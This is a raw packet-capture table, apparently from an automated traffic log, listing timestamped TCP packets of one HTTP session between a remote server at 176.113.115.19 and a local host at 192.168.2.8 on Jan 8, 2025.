Jan 8, 2025 09:42:32.768273115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768285990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768299103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768301010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768311977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768318892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768325090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768338919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768340111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768340111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768353939 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768368959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768369913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768376112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768382072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768388033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768393040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768399000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768435001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768455029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768634081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768647909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768660069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768671036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768683910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768685102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768696070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768709898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768711090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768711090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768722057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768723011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768737078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768745899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768749952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768758059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768764019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768776894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768790007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768794060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768805027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768821955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768853903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768913984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768930912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768944025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768955946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768966913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768968105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768980026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768985987 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768996000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769016981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769031048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769045115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769057989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769069910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769083023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769095898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769092083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769120932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769143105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769247055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769262075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769285917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769306898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769324064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769336939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769349098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769361973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769362926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769376040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.769395113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769395113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.769416094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.790245056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790290117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790319920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790333033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790332079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.790344000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790358067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790364981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.790395021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790400028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.790405989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.790431023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.790448904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852534056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852598906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852612019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852637053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852648020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852659941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852689981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852724075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852747917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852763891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852776051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852788925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852792025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852802992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852818012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852858067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852859974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852870941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852883101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852905989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852916956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852930069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852942944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852952957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852967024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852969885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.852982044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.852996111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.853024960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.853051901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.853066921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.853077888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.853091955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.853116035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857690096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857712030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857727051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857739925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857753038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857769012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857790947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857820034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857817888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857846975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857861042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857862949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857888937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857896090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857903004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857918978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857934952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857949018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857968092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857980967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.857988119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.857994080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858005047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858006954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858021021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858022928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858031988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858032942 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858058929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858058929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858073950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858087063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858088017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858098984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858108997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858114958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858128071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858131886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858149052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858170986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858184099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858184099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858195066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858203888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858208895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858222961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858226061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858242989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858243942 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858258963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858274937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858285904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858298063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858299971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858310938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858324051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858324051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858351946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858366966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858376026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858380079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858393908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858405113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858418941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858439922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858444929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858458996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858473063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858485937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858489990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858505011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858513117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858520985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858532906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858551979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858566999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858570099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858580112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858587027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858611107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858612061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858622074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858624935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858639002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858652115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858659029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858660936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858680010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858696938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858700991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858714104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858726025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858738899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858740091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858757019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858772993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858869076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858881950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858906031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858906984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858917952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858931065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858935118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858947992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858947992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858966112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858975887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.858979940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.858993053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859004974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859018087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859018087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859044075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859045029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859061956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859072924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859075069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859086037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859095097 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859100103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859112978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859114885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859126091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859142065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859146118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859154940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859169006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859180927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859184027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859205008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859215975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859219074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859232903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859241009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859246969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859272003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859276056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859276056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859283924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859309912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859328985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859332085 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859332085 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859342098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859355927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859357119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859365940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859384060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.859385967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859400034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.859435081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.880899906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.880913019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.880923986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.880985975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.880999088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.881010056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.881022930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.881035089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.881041050 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.881114006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943268061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943300009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943320990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943366051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943397045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943459034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943470955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943481922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943494081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943495989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943507910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943521023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943551064 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943583012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943593979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943604946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943619013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943619967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943631887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943645000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943669081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943669081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943686008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943694115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943700075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943712950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943727016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943737030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943739891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943737030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943763971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943768024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943768024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943778038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.943789005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943828106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.943828106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948199987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948230028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948261023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948261023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948271036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948282957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948296070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948317051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948317051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948335886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.948342085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948354959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948365927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948378086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.948389053 CET	49708	80	192.168.2.8	176.113.115.19
